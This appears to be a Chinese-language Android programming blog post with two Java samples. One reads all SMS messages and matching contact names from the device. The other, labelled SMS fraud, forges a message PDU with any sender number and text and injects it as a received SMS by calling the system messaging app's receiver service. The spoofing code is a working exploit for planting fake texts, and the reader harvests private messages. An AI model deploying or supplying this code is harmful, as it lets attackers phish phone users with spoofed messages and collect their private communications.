原理是通过,contentprovider获取系统短信数据库中的字段信息而达到获取内容目的
效果图如下:
具体代码如下:
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.app.ListActivity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.PhoneLookup;
import android.util.Log;
import android.widget.ListView;
import android.widget.SimpleAdapter;
public class QureSms extends ListActivity {
ListView smslist=null; //显示列表信息
ArrayList<Map<String,Object>> mData= new ArrayList<Map<String,Object>>();
List<String> title=new ArrayList<String>(); //短信来源
List<String> text=new ArrayList<String>(); //短信内容
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
smslist=getListView();
getSmsInPhone();
int lengh = title.size();
for(int i =0; i < lengh; i++) {
Map<String,Object> item = new HashMap<String,Object>();
item.put("title", title.get(i));
item.put("text", text.get(i));
mData.add(item);
}
SimpleAdapter adapter = new SimpleAdapter(this,mData,android.R.layout.simple_list_item_2,
new String[]{"title","text"},new int[]{android.R.id.text1,android.R.id.text2});
setListAdapter(adapter);
}
/**
* 获取手机内所以短消息
*/
private void getSmsInPhone(){
final String SMS_URI_ALL = "content://sms/";
/*final String SMS_URI_INBOX = "content://sms/inbox";
final String SMS_URI_SEND = "content://sms/sent";
final String SMS_URI_DRAFT = "content://sms/draft"; */
try{
ContentResolver cr = getContentResolver();
String[] projection = new String[]{"_id", "address", "person",
"body", "date", "type"};
Uri uri = Uri.parse(SMS_URI_ALL);
Cursor cur = cr.query(uri, projection, null, null, "date desc");
if (cur.moveToFirst()) {
String name;
String phoneNumber;
String smsbody;
String date;
String type;
// int nameColumn = cur.getColumnIndex("person");
int phoneNumberColumn = cur.getColumnIndex("address");
int smsbodyColumn = cur.getColumnIndex("body");
int dateColumn = cur.getColumnIndex("date");
int typeColumn = cur.getColumnIndex("type");
do{
phoneNumber = cur.getString(phoneNumberColumn);
// name = cur.getString(nameColumn); 这样获取的联系认为空,所以我改用下面的方法获取
name=getPeopleNameFromPerson(phoneNumber);
smsbody = cur.getString(smsbodyColumn);
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
Date d = new Date(Long.parseLong(cur.getString(dateColumn)));
date = dateFormat.format(d);
int typeId = cur.getInt(typeColumn);
if(typeId == 1){
type = "接收";
} else if(typeId == 2){
type = "发送";
} else {
type = "草稿";
}
title.add(type+" "+date+'\n'+phoneNumber);
text.add(name+'\n'+smsbody);
if(smsbody == null) smsbody = "";
} while(cur.moveToNext());
}
cur.close();
cur=null;
} catch(SQLiteException ex) {
Log.e("SQLiteException in getSmsInPhone", ex.getMessage());
}
}
/**
* 通过address手机号关联Contacts联系人的显示名字
* @param address
* @return
*/
private String getPeopleNameFromPerson(String address){
if(address == null || address == ""){
return null;
}
String strPerson = "null";
String[] projection = new String[] {Phone.DISPLAY_NAME, Phone.NUMBER};
Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, address); // address 手机号过滤
Cursor cursor = getContentResolver().query(uri_Person, projection, null, null, null);
if(cursor.moveToFirst()){
int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME);
String strPeopleName = cursor.getString(index_PeopleName);
strPerson = strPeopleName;
}
else{
strPerson = address;
}
cursor.close();
cursor=null;
return strPerson;
}
}
最后添加必要权限:
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
短信欺诈:本地程序可以根据sms协议及格式进行伪造短信内容的行为。
示例代码:
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Method;
import java.util.Calendar;
import java.util.GregorianCalendar;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.PhoneNumberUtils;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import com.example.androidtest.R;
public class SmsCheat extends Activity{
EditText editBody,editNum;
@Override
protected void onCreate(Bundle savedInstanceState) {
setContentView(R.layout.sms_send);
editBody=(EditText)findViewById(R.id.smsEdit);
editNum=(EditText)findViewById(R.id.smsNumEdit);
super.onCreate(savedInstanceState);
}
public void onsendClick(View view) {
String str=editBody.getText().toString();
String num=editNum.getText().toString();
createFakeSms2(getApplicationContext(), num, str);
}
private static void createFakeSms2(Context context, String sender, String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
byte[] dateBytes = new byte[7];
Calendar calendar = Calendar.getInstance();//new GregorianCalendar();
// dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
/* dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));*/
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);
bo.write(scBytes);
bo.write(0x04);
bo.write((byte) sender.length());
bo.write(senderBytes);
bo.write(0x00);
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
try {
// try UCS-2
byte[] bodybytes = encodeUCS2(body, null);
bo.write(0x08); // encoding: 0x08 (GSM_UCS2) for UCS-2
bo.write(dateBytes);
bo.write(bodybytes);
} catch(UnsupportedEncodingException uex) {
Log.e("_DEBUG_", String.format("String '%s' encode unknow", body));
}
}
Log.d("_DEBUG_", String.format("PDU: ", bytesToHexString(bo.toByteArray())));
pdu = bo.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
private static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
/**
* Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if necessary
*
* @return
* @throws UnsupportedEncodingException
*/
private static byte[] encodeUCS2(String message, byte[] header)
throws UnsupportedEncodingException {
byte[] userData, textPart;
textPart = message.getBytes("utf-16be");
if (header != null) {
// Need 1 byte for UDHL
userData = new byte[header.length + textPart.length + 1];
userData[0] = (byte)header.length;
System.arraycopy(header, 0, userData, 1, header.length);
System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
}
else {
userData = textPart;
}
byte[] ret = new byte[userData.length+1];
ret[0] = (byte) (userData.length & 0xff );
System.arraycopy(userData, 0, ret, 1, userData.length);
return ret;
}
/**
* Change bytes to HexString
* @param bArray
* @return
*/
public static final String bytesToHexString(byte[] bArray) {
StringBuffer result = new StringBuffer(bArray.length);
String sTemp;
for (int i = 0; i < bArray.length; i++) {
sTemp = Integer.toHexString(0xFF & bArray[i]);
if (sTemp.length() < 2)
result.append(0);
result.append(sTemp.toUpperCase());
}
return result.toString();
}
}
http://stackoverflow.com/a/12338541
http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app